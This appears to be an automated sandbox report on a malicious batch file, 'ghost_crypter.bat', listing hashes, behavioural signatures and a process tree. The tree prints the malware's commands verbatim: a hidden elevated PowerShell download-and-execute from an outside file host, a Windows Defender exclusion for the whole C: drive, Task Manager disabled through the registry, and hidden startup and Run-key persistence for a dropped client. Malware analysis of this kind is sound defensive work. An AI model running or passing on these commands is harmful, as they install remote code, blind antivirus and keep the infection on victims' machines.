Analysis
- max time kernel
149s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20251223-en - resource tags
arch:x64arch:x86image:win11-20251223-enlocale:en-usos:windows11-21h2-x64system - submitted
24/12/2025, 13:20
Static task
static1
Behavioral task
behavioral1
Sample
ghost_crypter.bat
Resource
win10v2004-20251223-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
ghost_crypter.bat
Resource
win11-20251223-en
12 signatures
150 seconds
General
- Target ghost_crypter.bat
- Size 307B
- Sample251224-qlebdad13f
- SHA256 8dc2e3a962d5570a294eef6cc64a61e82876f730cc8d84f362e1f4101bb630ff
- MD5 d657c396fd951e091c53b7ba4eb571b1
- SHA1 6a2f324cffe102a12294072853dba883bf96f2a0
- SHA512 153ee904f25f255591ea5e4d2dc4d8e7816fffb13ad34248e260f964a803ef65ee45f72a4ae54b07453427a4fd2ef4836f9d26dbac7888d3a968c6c76a5acb7d
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4724 powershell.exe 3 4724 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4928 powershell.exe 4724 powershell.exe - Disables Task Manager via registry modification
- Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.exe powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.exe powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3863187787-1616976424-3810056990-1000\Software\Microsoft\Windows\CurrentVersion\Run\SovereignUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\SiIIyClient.exe" powershell.exe - Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 4908 cmd.exe 1124 cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 2 IoCs
pid Process 2252 reg.exe 5592 reg.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4928 powershell.exe 4928 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4928 powershell.exe Token: SeDebugPrivilege 4724 powershell.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4584 wrote to memory of 4464 4584 cmd.exe 78 PID 4464 wrote to memory of 5824 4464 mshta.exe 79 PID 5824 wrote to memory of 4928 5824 cmd.exe 81 PID 4928 wrote to memory of 4724 4928 powershell.exe 82 PID 4724 wrote to memory of 3924 4724 powershell.exe 84 PID 4724 wrote to memory of 4908 4724 powershell.exe 85 PID 4908 wrote to memory of 1544 4908 cmd.exe 86 PID 4724 wrote to memory of 1124 4724 powershell.exe 87 PID 1124 wrote to memory of 3068 1124 cmd.exe 88 PID 4724 wrote to memory of 2252 4724 powershell.exe 90 PID 4724 wrote to memory of 5592 4724 powershell.exe 91 - Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1544 attrib.exe 3068 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ghost_crypter.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\system32\mshta.exemshta vbscript:CreateObject("WScript.Shell").Run("""C:\Users\Admin\AppData\Local\Temp\ghost_crypter.bat"" h",0,false)(window.close)2⤵
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ghost_crypter.bat" h"3⤵
- Suspicious use of WriteProcessMemory
PID:5824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'irm files.catbox.moe/s8ydiw.txt | iex' -WindowStyle Hidden -Verb RunAs"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm files.catbox.moe/s8ydiw.txt | iex5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ /f6⤵PID:3924
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s " C:\Users\Admin\AppData\Local\Temp\XClient.exe6⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\XClient.exe7⤵
- Views/modifies file attributes
PID:1544
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s " C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.exe6⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.exe7⤵
- Views/modifies file attributes
PID:3068
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
- Modifies registry key
PID:2252
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
- Modifies registry key
PID:5592
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Network
MITRE ATT&CK Enterprise v16
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
- MD5 d6b84d4be64de661c778642e3a7f6ff7
- SHA1 714900a833208d39d6a4d0a96c671372dc5a12dd
- SHA512 7fb33a924af54810bb8c69a0c4a126b1ba6ade4944f098ab8334c0a6c8fee91c7d8e25465c79deed6f6f7fe2000366831f801691dd950051a37c850722907c77
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vifgnwca.1pj.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512